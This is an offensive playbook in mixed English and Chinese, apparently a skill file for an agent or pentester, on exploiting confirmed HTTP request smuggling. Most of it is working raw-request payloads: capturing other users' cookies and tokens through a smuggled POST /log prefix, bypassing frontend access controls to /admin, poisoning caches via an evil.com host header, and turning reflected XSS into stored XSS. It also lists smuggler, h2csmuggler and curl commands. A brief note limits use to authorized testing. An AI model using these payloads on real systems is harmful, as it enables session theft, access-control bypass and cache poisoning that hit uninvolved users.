Prerequisites: This skill focuses onchained exploitation after confirming a smuggling vulnerability
⛔ In-depth reference
- Detection payloads for various smuggling variants → references/smuggling-detection.md
- H2C/H2 downgrade smuggling techniques → references/h2-smuggling.md
Phase 0: Smuggling type quick reference
前端(FE) 用什么解析请求长度?后端(BE) 用什么?
CL.TE: FE uses Content-Length → BE uses Transfer-Encoding TE.CL: FE uses Transfer-Encoding → BE uses Content-Length TE.TE: Both use TE, but handle malformed TE headers inconsistently H2.CL: FE uses HTTP/2 frame length → BE downgrades to HTTP/1.1 and uses CL H2.TE: FE uses HTTP/2 → BE uses TE after downgrade
⛔ Only enter the exploitation phase of this skill after confirming smuggling exists
## Phase 1: CL.TE 走私利用
### 1.1 窃取其他用户请求
```http
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /log HTTP/1.1
Host: target.com
Content-Length: 500
Content-Type: application/x-www-form-urlencoded
stolen=
Principle: The backend treats POST /log ... stolen= as the prefix of the next request → the next user's complete request is concatenated after stolen= → you can read their Cookie/Token
1.2 Bypassing frontend ACLs
POST / HTTP/1.1
Host: target.com
Content-Length: 73
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
Principle: The frontend only checks the first request (POST /) → allows it through. The smuggled GET /admin reaches the backend directly → bypassing the frontend's IP/path restrictions.
1.3 Poisoning Web caches
POST / HTTP/1.1
Host: target.com
Content-Length: 120
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
Principle: Smuggled GET request + malicious Host header → the backend returns a response containing evil.com → the frontend caches this response → other users accessing /static/main.js receive the poisoned content.
1.4 Escalating reflected XSS to stored XSS
POST / HTTP/1.1
Host: target.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.com
X-Random: x
Principle: If /search has reflected XSS → the smuggled request makes the next user's response become a search results page containing the XSS payload → reflected becomes stored.
Phase 2: TE.CL smuggling exploitation
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
78
POST /admin HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Key: The frontend correctly reads all chunked data according to TE. The backend reads only 78\r\naccording to CL=4, and the remaining POST /admin ... is treated as an independent new request.
Phase 3: HTTP/2 downgrade smuggling (H2.CL / H2.TE)
3.1 H2.CL smuggling
HTTP/2 请求(前端):
:method: POST
:path: /
:authority: target.com
content-length: 0
走私的 HTTP/1.1(后端看到的):
POST / HTTP/1.1\r\n
Host: target.com\r\n
Content-Length: 0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: target.com\r\n
\r\n
Principle: HTTP/2 uses frame length and does not need CL. But when downgrading to HTTP/1.1, an incorrect CL value causes the backend to treat the extra data as a new request.
3.2 H2 Request Tunneling
利用 HTTP/2 HEADERS 帧的特殊头:
:method: POST
:path: /
:authority: target.com
transfer-encoding: chunked
在 HTTP/2 中 TE 头通常被忽略,但降级后生效
→ 可构造 CL 与 TE 不一致的情况
Phase 4: Automated detection and exploitation
Tools
# smuggler.py — 自动化检测
python3 smuggler.py -u https://target.com
# Burp Suite — HTTP Request Smuggler 扩展
# 安装扩展 → Scan → 报告走私类型
# h2csmuggler — HTTP/2 明文升级走私
python3 h2csmuggler.py -x https://target.com -t /admin
# 手动 curl 验证(CL.TE)
curl -i -X POST https://target.com/ \
-H "Content-Length: 6" \
-H "Transfer-Encoding: chunked" \
--data-binary $'0\r\n\r\nG'
# 如果第二次正常 GET 返回 "GGET / HTTP/1.1 ..." 405 → 存在走私
Methods to verify successful smuggling
方法 1: 时间差异
├─ 走私一个有延迟的请求 → 观察响应时间变化
方法 2: 差异响应
├─ 走私 GET /404path → 下一个正常请求返回 404
方法 3: 反射请求
├─ 走私请求到自己控制的日志服务器
├─ 观察是否收到其他用户的请求
方法 4: OAST(Out-of-band)
├─ 走私 Host: burp-collaborator.net
├─ 检查 Collaborator 收到的 DNS/HTTP 请求
⛔ Risk control
- Request smugglingwill affect other users → use only in authorized testing
- Use unique identifiers during testing to distinguish your requests
- First confirm using the timing difference method → then proceed to exploitation
- Avoid a large number of smuggling requests causing service unavailability